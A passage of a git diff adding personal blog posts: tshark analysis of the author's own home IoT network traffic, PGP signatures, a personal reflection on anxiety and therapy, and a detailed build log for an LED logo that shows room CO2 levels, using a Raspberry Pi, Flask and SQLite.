kB 102.352119000 0.3678 +192.168.50.202 <-> 17.253.53.202 19 22 kB 17 3,099 bytes 36 25 kB 81.940717000 0.3208 +192.168.50.202 <-> 23.58.105.122 19 9,936 bytes 16 5,759 bytes 35 15 kB 72.225431000 9.6434 +192.168.50.104 <-> 255.255.255.255 0 0 bytes 32 2,240 bytes 32 2,240 bytes 50.628126000 65.2664 +17.242.218.132 <-> 192.168.50.202 12 1,701 bytes 13 1,802 bytes 25 3,503 bytes 20.967857000 62.0463 +192.168.50.189 <-> 3.122.71.119 8 639 bytes 13 978 bytes 21 1,617 bytes 1.112174000 108.8174 +192.168.50.131 <-> 224.0.0.251 0 0 bytes 20 6,092 bytes 20 6,092 bytes 19.033978000 79.6932 +192.168.50.118 <-> 224.0.0.251 0 0 bytes 20 6,092 bytes 20 6,092 bytes 79.030835000 19.7664 +192.168.50.233 <-> 224.0.0.251 0 0 bytes 20 6,052 bytes 20 6,052 bytes 79.031250000 19.7814 +192.168.50.196 <-> 18.196.19.65 8 570 bytes 10 678 bytes 18 1,248 bytes 4.963201000 107.5242 +192.168.50.216 <-> 224.0.0.251 0 0 bytes 12 3,880 bytes 12 3,880 bytes 98.049857000 4.2949 +192.168.50.134 <-> 161.117.178.131 5 391 bytes 4 960 bytes 9 1,351 bytes 15.392290000 60.5936 +192.168.50.202 <-> 192.168.50.189 4 1,300 bytes 4 312 bytes 8 1,612 bytes 26.274469000 93.2919 +192.168.50.202 <-> 192.168.50.118 2 406 bytes 4 402 bytes 6 808 bytes 17.999757000 60.1593 +192.168.50.202 <-> 192.168.50.131 2 406 bytes 4 402 bytes 6 808 bytes 17.999812000 60.1593 +192.168.50.202 <-> 192.168.50.233 2 406 bytes 4 402 bytes 6 808 bytes 17.999825000 60.1592 +192.168.50.202 <-> 192.168.50.196 3 975 bytes 3 234 bytes 6 1,209 bytes 30.223646000 89.3442 +192.168.50.216 <-> 192.168.50.233 4 888 bytes 2 162 bytes 6 1,050 bytes 98.322145000 0.1456 +192.168.50.216 <-> 192.168.50.202 1 1,092 bytes 4 336 bytes 5 1,428 bytes 98.319211000 0.2939 +192.168.50.216 <-> 192.168.50.1 0 0 bytes 5 455 bytes 5 455 bytes 98.319329000 0.2505 +192.168.50.202 <-> 17.253.53.201 2 148 bytes 2 132 bytes 4 280 bytes 81.716483000 1.0465 +192.168.50.202 <-> 192.168.50.104 2 818 bytes 2 156 bytes 4 974 bytes 87.030561000 0.0107 +192.168.50.216 <-> 192.168.50.131 3 718 bytes 1 75 bytes 4 793 bytes 98.321918000 0.1421 +192.168.50.216 <-> 192.168.50.118 3 718 bytes 1 75 bytes 4 793 bytes 98.322266000 0.1420 +192.168.50.216 <-> 17.57.146.25 1 90 bytes 2 172 bytes 3 262 bytes 98.048979000 0.0384 +192.168.50.216 <-> 192.168.50.134 2 790 bytes 1 75 bytes 3 865 bytes 98.321779000 0.2550 +192.168.50.216 <-> 224.0.0.2 0 0 bytes 2 92 bytes 2 92 bytes 98.049757000 0.0001 +192.168.50.216 <-> 10.172.72.196 1 66 bytes 1 70 bytes 2 136 bytes 98.664295000 0.0060 +================================================================================ +``` + +- Fast “top talkers” table (by source IP) +```bash +❯ tshark -r iot_ap_120s.pcap -T fields -e ip.src -e frame.len \ + | awk 'NF==2{b[$1]+=$2} END{for (h in b) printf "%-16s %12d\n", h, b[h]}' \ + | sort -k2,2nr | head -n 20 +17.253.37.195 29540349 +192.168.50.202 422414 +192.168.50.1 75521 +2.19.120.151 44554 +17.253.53.202 22016 +1.1.1.1 20675 +23.58.105.122 9936 +17.56.138.35 7602 +192.168.50.233 7346 +192.168.50.118 7216 +192.168.50.131 7216 +17.253.53.203 7040 +54.217.122.41 6271 +192.168.50.216 5392 +192.168.50.104 3058 +192.168.50.189 2278 +17.242.218.132 1802 +192.168.50.134 1750 +192.168.50.196 1653 +3.122.71.119 639 +``` + +- DNS & mDNS highlights (what names show up?) +```bash +# DNS queries (unicast) +❯ tshark -r iot_ap_120s.pcap -Y "dns.flags.response==0" \ + -T fields -e frame.time -e ip.src -e dns.qry.name | head -n 20 +Nov 23, 2025 11:48:38.131162000 CET 192.168.50.1 _hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local +Nov 23, 2025 11:48:42.961690000 CET 192.168.50.1 _hap._tcp.local +Nov 23, 2025 11:48:42.962245000 CET 192.168.50.1 _companion-link._tcp.local +Nov 23, 2025 11:48:42.962911000 CET 192.168.50.1 _hap._udp.local,_rdlink._tcp.local +Nov 23, 2025 11:48:43.098378000 CET 192.168.50.1 MSS110-f691._hap._tcp.local +Nov 23, 2025 11:48:43.158641000 CET 192.168.50.1 Qingping Air Monitor Lite._hap._tcp.local +Nov 23, 2025 11:48:43.201440000 CET 192.168.50.202 _companion-link._tcp.local +Nov 23, 2025 11:48:43.532623000 CET 192.168.50.1 MSS110-080d._hap._tcp.local +Nov 23, 2025 11:48:43.962673000 CET 192.168.50.1 _hap._tcp.local,MSS110-0ba7._hap._tcp.local,Main Bedroom (3)._companion-link._tcp.local,HomePodSensor 185277._hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local +Nov 23, 2025 11:48:49.110167000 CET 192.168.50.1 _hap._tcp.local +Nov 23, 2025 11:48:49.110760000 CET 192.168.50.1 _companion-link._tcp.local +Nov 23, 2025 11:48:49.111395000 CET 192.168.50.1 _hap._udp.local,_rdlink._tcp.local +Nov 23, 2025 11:48:49.272920000 CET 192.168.50.1 Qingping Air Monitor Lite._hap._tcp.local +Nov 23, 2025 11:48:49.311002000 CET 192.168.50.1 MSS110-0ba7._hap._tcp.local +Nov 23, 2025 11:48:49.619376000 CET 192.168.50.1 Main Bedroom (3)._companion-link._tcp.local,MSS110-f691._hap._tcp.local,MSS110-080d._hap._tcp.local,HomePodSensor 185277._hap._tcp.local +Nov 23, 2025 11:48:50.115506000 CET 192.168.50.1 _hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local +Nov 23, 2025 11:48:55.037844000 CET 192.168.50.1 _hap._tcp.local +Nov 23, 2025 11:48:55.038380000 CET 192.168.50.1 _companion-link._tcp.local +Nov 23, 2025 11:48:55.038926000 CET 192.168.50.1 _hap._udp.local,_rdlink._tcp.local +Nov 23, 2025 11:48:55.060503000 CET 192.168.50.202 _companion-link._tcp.local + +# mDNS service announcements (AirPlay/HomeKit live here) +❯ tshark -r iot_ap_120s.pcap -Y "udp.port==5353 && dns" \ + -T fields -e frame.time -e ip.src -e dns.qry.name -e dns.ptr.domain_name \ + | head -n 30 +``` + +The latter had no output as I wasn't able to make that work with a static route and relied on Tailscale. (?) + +- TLS SNI (which cloud endpoints?) +```bash +❯ tshark -r iot_ap_120s.pcap -Y "tls.handshake.extensions_server_name" \ + -T fields -e ip.dst -e tls.handshake.extensions_server_name \ + | sort | uniq -c | sort -k1,1nr | head -n 20 + 1 1.1.1.1 one.one.one.one + 1 17.253.37.195 streamingaudio.itunes.apple.com + 1 17.253.53.202 pancake.apple.com + 1 17.253.53.203 radio-activity.itunes.apple.com + 1 17.56.138.35 cma.itunes.apple.com + 1 2.19.120.151 play.itunes.apple.com + 1 23.58.105.122 librarydaap.itunes.apple.com + 1 54.217.122.41 guzzoni.apple.com +``` + +- Ports in use (quick heat check) +```bash +❯ tshark -r iot_ap_120s.pcap -T fields -e _ws.col.Protocol -e tcp.dstport -e udp.dstport \ + | awk '{for(i=1;i<=NF;i++) if($i~/^[0-9]+$/) p[$i]++} END{for(k in p) printf "%-8s %8d\n", k, p[k]}' \ + | sort -k2,2nr | head -n 20 +64725 19588 +443 4086 +5353 318 +49395 109 +7000 109 +55514 102 +55510 101 +64721 47 +54806 40 +20002 32 +64722 27 +8883 23 +49154 21 +55515 21 +64723 19 +64728 19 +64729 19 +5223 14 +64724 14 +64686 13 +``` + + +--- + +## Epilogue +I've been having so so much trouble with setting up a iot-hub for my house where I can connect all my IoT devices to, and without putting a phone on hotspot. Now I finally did it, and I even treated myself by allowing mDNS routing! Let's cross our fingers and hope this setup finally works nicely. + + + +--- + +{{< sigdl >}} diff --git a/public-onion/sources/posts/house_upgrade.md.asc b/public-onion/sources/posts/house_upgrade.md.asc new file mode 100644 index 0000000..3ef20c0 --- /dev/null +++ b/public-onion/sources/posts/house_upgrade.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM +jSr4mxAAr6wizjfSiJPTCywZaFD7DpF1QqVL5N2r7+W6iPkxjXU5ju4yaRyJ3LGP +ob51GUAPqSstrTZUJRIQs54MQMqL0WNBiesVSDXlT+cqAgRVN4SaYrRg+dV+kRCA +dnFuXXJBvo9y/QYk+SR4F2I9SeqsOQ2V0H2SxndLQAVI318VRbJLwaZF5XHLU8Ax +a/+sOpjI2bGgTCW6P2r97PaXyde9Itkdp0LBN2JfkXfmzdY1JdjPdaNmUZuY3N6J +HO4MfBUYX33RLmq/CSDm5wzOQRi1O9wt63CWJzzsZuZACbmuJ0gZHYM5JIBHXtnZ +wgdtfu31ulnFPVfoIVjCCcN80kWlh671ONKQTZOysknFonm5pIUJnOcCQ4S3HfIm +Of5kojUQegInp84ju4yYKCMh115yB05XTyrhf62NouGQVGSBmNBwgFZe4kbfqZ4w +xsAfFOpk6niLqZTX1NmgaXeBcalFU2yOzIEH4dXu7OSZmN3UUznAxw4SciD0+HW+ +T7RjrniAIgX3fFlqIexoDbCa6T2g8Gd00zBzHG65pO4mwAuFL4KB0xLU8KIz6L7M +aMFcFVAuq8GdqBbn6mRQ3UwFkOIjq+WbAgvxDJprxI9jBafm6IVXrISyHx0mYfnP +OAFDAL768GiHQz7LIB/lLa0qAT6Hs28JZ3/czfGPwVNthFp8tA0= +=bk46 +-----END PGP SIGNATURE----- diff --git a/public-onion/sources/posts/how_I_am_doing.md b/public-onion/sources/posts/how_I_am_doing.md new file mode 100644 index 0000000..162d831 --- /dev/null +++ b/public-onion/sources/posts/how_I_am_doing.md @@ -0,0 +1,32 @@ ++++ +title = 'How am I doing?' +date = 2025-12-15T08:27:13Z +draft = false ++++ + +This constant feeling of how people think about me, how they view me, what is happening with them is killing me. +I'm interpretting every little move, every action, every response as me being in trouble. +Not only is it exhausting, but also it's draining me. +Draining me of happiness, being in pursuit of happyness. + +Idk what is wrong with me. Idk why I can't let go. I don't know why I need so much closure. Idk. I really don't. +What I know is that I'm mentally dealing with too much. Too much for a little boy like me. Someone who got conditional love throughout his life. +Someone who never experienced being loved. Someone who was trained to work hard to be loved. To sacrifice to be loved. + +This "others" in my mind is killing me. It is so annoying to pursue people who do not give the slightest of shit about me. That has been me in the past many months. +Ever since February 17th. That disgusting day. The day that was the result of last Friday of that Monday. The regrets. The sadness. The drainage. + +Idk what to do. I feel like I'm stuck in this life that I don't like, with so much that I love. Does this even make sense? Idk. +I know I'm full of love, and I'm willing to give it to someone. + +Few things lie. First, do I love myself? I want to say yes, but maybe the answer is no. I honestly don't know if I'm lying to myself or not. +Second, I know my therapist is worried for me. For how easy I can fall in the wrong people's hand, and how badly I could get hurt. + +He has been pushing me to solve the issue of others, and self love. To be fine with what I am, and what I have. To be fine with me. I need to work on this. +I need to write more. To express myself more. Maybe I manage to figure things out that I would not otherwise. Who knows. + + + +--- + +{{< sigdl >}} diff --git a/public-onion/sources/posts/how_I_am_doing.md.asc b/public-onion/sources/posts/how_I_am_doing.md.asc new file mode 100644 index 0000000..02952c1 --- /dev/null +++ b/public-onion/sources/posts/how_I_am_doing.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM +jSqEgw//dXtHJRA2465bo78N3Slu0EhJXFLkEItsdXbX8KVMOf3g0ezaBoCwtes8 +fDfzb4IHfsPgFef48NApWevoXC6nvwW1jd1ad6USS07lCcX+PXQMo5buZy8lvT+n +ozeDcN9Oul8t861nwbosGz8h3C6tWAilHxa3tKnTrlNs9RgcZXlE1yABUD8mO1xv +xHDoU5bYOwk7QvnxN83s4AXofVXOQfolxWrfH0zCCOxb5VauqPQxjKUHzx932MLG +m2F+aoxxgva28PxwvJp+yziid96fM8Y9nRaUWgusaAUrca1/GmmikfQJ2xe06G3n +bJePNiNU5SP49lvNzGfKKv8l07XfgOyksm4x55OYUh1e3i0ZlK00ULwu2yZr0dlO +tyfP3IqyeXJfiMtZznR9gVfrU8kuzwEoGy25rcAHuLmfuaGhAVCTFT+dSrD6Ls0d +T6baPwZTDnCz6dOvZB8g8jq5V2RsI9+FAe5FZSQzZ/iV0JMLHwB5eYwcWiWlJL7n ++J69MpQMCOh+S46y6YjNnK/gOCsMddTnN1cu9edWuoicNnM7ODn8w948fqMcv8yz +Ek0xuaY+o6luI4HoNKncCAgPmSvH6/Xjvt5qsqqBMlkBRFY8/bWW+7o9LB7VwLex +Bsy6Od/KW0X78XG0n1JnAw+kVQoaYWTWbXBV3CJ8n8dUaQn+ctw= +=NPxh +-----END PGP SIGNATURE----- diff --git a/public-onion/sources/posts/inet_logo.md b/public-onion/sources/posts/inet_logo.md new file mode 100644 index 0000000..4708824 --- /dev/null +++ b/public-onion/sources/posts/inet_logo.md @@ -0,0 +1,539 @@ + +--- +title: "INET Logo That Breathes — From CAD to LEDs to a Calm Little Server" +date: 2025-10-17 +tags: ["raspberrypi","ws2812","scd41","iot","flask","fabrication","soldering"] +cover: + image: /images/inet/inet_animation_collage.jpg + alt: "Six looks of the INET LED logo" + caption: "Design → print → solder → code → glow." +draft: false +--- + +> I didn’t add a warning sign to the room. I taught the **logo** to breathe. ;-D + +The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it's not good at is **ventilating** itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices! + +So I crafted the INET logo and gave it a 9-5 job: be a **polite barometer**. If the air is fresh, it glows cool and calm. If it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood. + +This post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I'll try to include as much detail as I can. + +--- + +## 1) Sketch → CAD → Print + +![Fusion design + logotype](/images/inet/inet_logo_fusion_merged.png) + +I started the way all sensible hardware projects start: with **overconfidence** and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall **I**, the curving **N**, three stacked bars for **E**, and the long arm of **T**. Each pocket got: + +- **Mounting bosses** for the front diffusers (M2 screws), +- **Cable holes** between chambers (rounded to avoid cutting silicone wire), and +- A small **wiring bay** for the controller and power. + +I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at **1-2 mm** thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears. +The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing. + +The design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group. +I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it. + +--- + +## 2) The Look I Wanted + +![Animations collage](/images/inet/inet_animation_collage.jpg) + +I wasn't building a stage light. The goal was **calm**: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the **CO₂ monitor** in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I'm happy with it and want to let it be there doing it's job. + +--- + +## 3) The Tidy Mess Behind the Panel + +![Hardware collage](/images/inet/inet_hardware_collage.jpg) + +Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day: + +- A **330–470 Ω** series resistor on the *data* line right at the first pixel. It damps ringing and prevents weird flickers. +- A **1000 µF** electrolytic across **5V/GND** at the strip start. It handles inrush so the first LED doesn’t faint at boot. + +I route the strip **DIN → DOUT** through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check **before** power and bring brightness up slowly on a bench supply. + +The soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won't be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD + +--- + +## 4) A Web Panel that Stays Out of the Way + +![UI collage](/images/inet/inet_ui_collage.jpg) + +The web UI is quiet on purpose: a single navbar, a `/control` page with big same‑size buttons, a `/schedule` table, a drag‑and‑drop `/calendar`, a `/status` page that updates once a second, and `/history` charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy. + +There’s also a **Safe Mode** switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it's not funny for anyone to fidn this out when looking at your creation. So... yea, I took precautions not to see people getting seizures looking at my creation. :-) + +--- + +## 5) The Color Language for Air + +The `co2_monitor` animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight: + +- **< 500 ppm**: Cyan — outdoor‑like fresh air. +- **500–799**: Green — good. +- **800–1199**: Yellow — getting stale. +- **1200–1499**: Orange — poor; you’ll feel it. +- **1500–1999**: Red — ventilate now. +- **≥ 2000**: Purple — the logo is politely yelling. + +I blend the readings with an **exponential moving average** and use **hysteresis** around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow **breathing brightness**. The result feels alive but never flashy. + +By default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it's daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it's color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database. + +--- + + +## 6) The Code — a guided tour (no giant blob, promise) + +This whole project runs from a single Python file. Think of it like a tiny orchestra: +one thread conducts the **LEDs**, one listens politely to the **CO₂ sensor**, one keeps time as the **scheduler**, and a small **web server** hands you the baton when you want to improvise. + +Below is what each section does, with just enough code to be useful (and not enough to make your eyes cross). + +--- + +### 6.1 Configuration (the knobs) + +Let's define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers. + +```python +LED_COUNT=78, LED_PIN=18, LED_BRIGHT=255 +SCHEDULE_PATH="schedule.json" +DB_PATH="sensor.db" +SAFE_MODE=True # hide flashy animations by default +``` + +*Why it’s like this:* simple, explicit defaults → less “why is it dark” debugging. + +--- + +### 6.2 Strip setup + frame-diff (no flicker magic) + +Now initialize `rpi_ws281x.PixelStrip` and put a **shadow frame buffer** in front of it. + +```python +frame = [(0,0,0)] * LED_COUNT +_dirty = False + +def _set_pixel(i, r, g, b): + # only touch hardware if the value actually changed + if frame[i] != (r,g,b): + strip.setPixelColorRGB(i, r, g, b) + frame[i] = (r,g,b) + global _dirty; _dirty = True + +def flush(): + if _dirty: strip.show(); _dirty=False +``` + +*Why it’s like this:* LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call `show()` with identical data. + +--- + +### 6.3 A tiny color wheel helper + +Classic rainbow helper used by a few animations: + +```python +def wheel(pos): + # 0..255 → (r,g,b) + ... +``` + +*Why it’s like this:* I'll use it again and again; it keeps color math out of the animations. + +--- + +### 6.4 State & orchestration + +Let's hold a registry of animations, a stop flag, and the currently playing thread. + +```python +animations = {} +stop_event = threading.Event() +current_thread = None + +def register(name, safe=True): + def wrap(fn): + animations[name] = {"fn": fn, "safe": safe} + return fn + return wrap + +def run_animation(fn): + # cooperative hand-off: stop current, start next + if current_thread and current_thread.is_alive(): + stop_event.set(); current_thread.join() + stop_event.clear() + t = threading.Thread(target=fn, name=fn.__name__, daemon=True) + t.start(); globals()["current_thread"] = t +``` + +*Why it’s like this:* adding a new animation is a one-liner `@register("name")`. Clean exits prevent torn frames and half-drawn comets. + +--- + +### 6.5 Animations (the mood) + +Each animation is a loop that checks `stop_event.is_set()` and draws frames with `_set_pixel(...)` + `flush()`. + +- **`redpulse`** — calm breathing in red; great default. +- **`colorwave`** — slow rainbow that reads clearly behind diffusers. +- **`comet`** — a single head with a fading tail orbiting the logo. + +They all end with `finally: clear_strip()` so the panel doesn’t freeze on the last pose if you stop mid-frame. + +*Why it’s like this:* cooperative loops + frame-diff = smooth, interruption-safe effects. + +--- + +### 6.6 CO₂ color language (with smoothing + hysteresis) + +The star of the show. Now map ppm to color **bands** and keep transitions human-pleasant. + +- `< 500`: **Cyan** (fresh) +- `500–799`: **Green** +- `800–1199`: **Yellow** +- `1200–1499`: **Orange** +- `1500–1999`: **Red** +- `≥ 2000`: **Purple** + +```python +BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,∞,(123,44,191))] +EMA_ALPHA=0.15; HYST=35 + +# Every tick: +ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2 +band = hysteresis_aware_band(ema, last_band, HYST) +target = BANDS[band].color +current = lerp(current, target, 0.10) # gentle hue easing +level = breathe(0.25 Hz, low=10, high=220) +draw all pixels = current * level +``` + +*Why it’s like this:* EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light. + +--- + +### 6.7 Optional SCD41 sensor thread (the polite listener) + +If the SCD41 is present, a **dedicated thread** owns I²C and updates a global `co2_data` dict every few seconds. It also logs to a tiny SQLite database. + +```python +def _start_sensor(): + try: + scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement() + except: return # sensor optional + def loop(): + while True: + time.sleep(5) + if scd4x.data_ready: + co2_data.update({...}) + db.insert(timestamp, co2, temperature, humidity) + threading.Thread(target=loop, daemon=True).start() +``` + +*Why it’s like this:* one thread owns the bus → no read contention. The controller keeps working even without a sensor. + +--- + +### 6.8 Scheduler + 90-minute override (humans win, then reset) + +A background thread asks, every few seconds, **which** mode should be running: + +1. If the user chose something recently (override), respect it for `TTL = 90 min` (or the duration set in the UI). +2. Otherwise, apply the **default schedule** (Wednesday 14–17 → `slow`, else `redpulse`). +3. Save/load the schedule atomically to `schedule.json`. + +```python +def scheduler_pick(): + if now < override_until: return override_mode + for row in load_schedule(): + if matches(now, row): return row["mode"] + return "redpulse" +``` + +*Why it’s like this:* you can play DJ for a meeting, and the room quietly returns to its routine afterward. + +--- + +### 6.9 The web panel (tiny Flask, big buttons) + +Three pages, no fuss: + +- `/status` — live JSON (`/status_data`) every second → current mode + CO₂/Temp/Humidity. +- `/control` — grid of same-size buttons (respects **Safe Mode**), optional **duration** (0–180 min) with validation. +- `/schedule` — simple table editor; **Add Row** and **Save**; writes atomically. + +```python +@app.post("/set") +def set_mode(): + mode = request.form["mode"] + minutes = clamp( int(form["duration"]), 0, 180 ) + set_override(mode, minutes) + run_animation(animations[mode]["fn"]) + return redirect("/control") +``` + +*Why it’s like this:* minimal routes are easier to maintain and don’t compete with the art piece. + +--- + +### 6.10 Boot choreography + +At startup I: + +1. Try the **sensor thread** (if hardware is there). +2. Start the **scheduler thread**. +3. Immediately play **redpulse** (so there’s a friendly glow right away). +4. Start Flask; on shutdown I **clear the strip**. + +```python +if __name__ == "__main__": + _start_sensor() + threading.Thread(target=scheduler_loop, daemon=True).start() + run_animation(redpulse) + app.run(host="0.0.0.0", port=5000) +``` + +*Why it’s like this:* the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds. + +--- + +### TL;DR (but keep the vibes) + +- **Frame-diff** = no flashes. +- **EMA + hysteresis** = smooth, truthful color. +- **Breathing** = presence, not signage. +- **Threads per thing** (LEDs / sensor / scheduler) = no fights. +- **Atomic files** = no corrupted schedules. +- **Safe Mode** by default = people > pixels. + +That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty. + +### Why this shape of code? +- **One thread per hardware thing.** The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides *what* to run and when. No bus fights. +- **Frame diff.** I only call `strip.show()` when a pixel actually changes. That’s why it doesn’t randomly flash during web requests. +- **Atomic schedule saves.** The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule. + +> No, you don’t *need* the sensor. If it’s not connected, the app still runs; `co2_monitor` just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don't you agree? + +--- + +## 7) Sensor Database — what it stores, where it lives, and how far it goes + +This project logs room conditions to a **tiny SQLite database** so you can graph trends, spot stuffy meetings, and keep a record without running a separate server. + +### What’s stored + +A single table called `readings`: + +```sql +CREATE TABLE IF NOT EXISTS readings ( + timestamp TEXT PRIMARY KEY, -- "YYYY-MM-DD HH:MM:SS" + co2 INTEGER, -- ppm + temperature REAL, -- °C + humidity REAL -- % +); +``` + +- One row per sample (typically every **5–60 seconds**; slow it down to reduce writes). +- `timestamp` is the primary key → easy “latest” queries and natural time ordering. + +### Where the file lives + +- Path is configurable via env var `DB_PATH` (see your systemd unit). +- Default: `sensor.db` in the app’s working directory (e.g. `/home/pi/inet-led/sensor.db`). + +Check size: + +```bash +ls -lh /home/pi/inet-led/sensor.db +``` + +### How writes happen (and why it’s safe) + +- The **sensor thread** owns I²C and inserts a row only when the sensor reports `data_ready`. +- Inserts are short and journaling protects against power loss. +- For friendlier read/write concurrency, enable WAL once at startup: + +```sql +PRAGMA journal_mode = WAL; +PRAGMA synchronous = NORMAL; +``` + +### Typical size & retention + +Back-of-envelope: + +- ~100–200 bytes per row (including overhead). +- 1 sample/minute → ~1,440 rows/day → **~150–300 KB/day** → **55–110 MB/year**. +- If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling). + +Prune old data (keep last 90 days): + +```sql +DELETE FROM readings +WHERE timestamp < date('now','-90 day'); +``` + +(Optionally run `VACUUM;` after large deletes to reclaim file space.) + +### Useful queries + +**Latest reading:** +```sql +SELECT * FROM readings ORDER BY timestamp DESC LIMIT 1; +``` + +**Range for charts (last 7 days):** +```sql +SELECT * FROM readings +WHERE timestamp >= datetime('now','-7 day') +ORDER BY timestamp; +``` + +**Downsample to hourly averages (30 days):** +```sql +SELECT strftime('%Y-%m-%d %H:00:00', timestamp) AS hour, + AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h +FROM readings +WHERE timestamp >= datetime('now','-30 day') +GROUP BY hour +ORDER BY hour; +``` + +**Export to CSV (example via sqlite3 CLI):** +```bash +sqlite3 /home/pi/inet-led/sensor.db <<'SQL' +.headers on +.mode csv +.output /home/pi/inet-led/export_readings.csv +SELECT * FROM readings ORDER BY timestamp; +.output stdout +SQL +``` + +### SD card friendliness + +- Choose a sensible interval (e.g., **30–60 s**). +- Optionally buffer in memory and write every N samples. +- Prefer WAL mode; periodically prune & vacuum. +- If you care about card wear, place the DB on USB/SSD. + +### Backups & restore + +**Nightly backup (simple):** +```bash +sqlite3 /home/pi/inet-led/sensor.db ".backup '/home/pi/backup/sensor-$(date +%F).db'" +``` + +**Restore:** +1. `sudo systemctl stop inet-led` +2. Copy backup file back to `/home/pi/inet-led/sensor.db` +3. `sudo systemctl start inet-led` + +### Security & permissions + +```bash +chown pi:pi /home/pi/inet-led/sensor.db +chmod 600 /home/pi/inet-led/sensor.db +``` + +Keep the app directory non-world-readable. + +### Is SQLite the right choice? + +**Yes, for a single Pi** logging every few seconds and rendering local charts: +- ✅ Zero admin, a single file, reliable journaling, great performance at this scale. +- ⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine). +- ⬆️ If you later need multi-device ingestion, alerts, or >10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports. + +### TL;DR + +SQLite is perfect here: **simple, robust, easy to back up**. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi. + +--- + +## 8) Run at Boot (systemd) + +I wrote this simple systemd to `/etc/systemd/system/inet-led.service` so that it runs the script when RPi boots up: + +```ini +[Unit] +Description=INET LED Panel +After=network.target + +[Service] +ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py +WorkingDirectory=/home/pi/inet-led +Restart=always +User=pi +Environment=LED_COUNT=78 +Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json +Environment=DB_PATH=/home/pi/inet-led/sensor.db + +[Install] +WantedBy=multi-user.target +``` + +Then you can run: + +```bash +sudo systemctl daemon-reload +sudo systemctl enable --now inet-led +journalctl -u inet-led -f +``` + +to control the systemd service. + +--- + + + +## 9) Soldering Notes (a love letter to hot glue) + +- **Tin first, solder second.** Tiny pads like tiny puddles. Fast in/out, no lifted pads. +- **Stagger joints** so nothing stacks under the diffuser. +- **Heat‑shrink + a dot of hot glue** = happier future you. +- **Continuity before power.** Multimeter first, electrons last. +- If a pad *does* lift: magnet wire 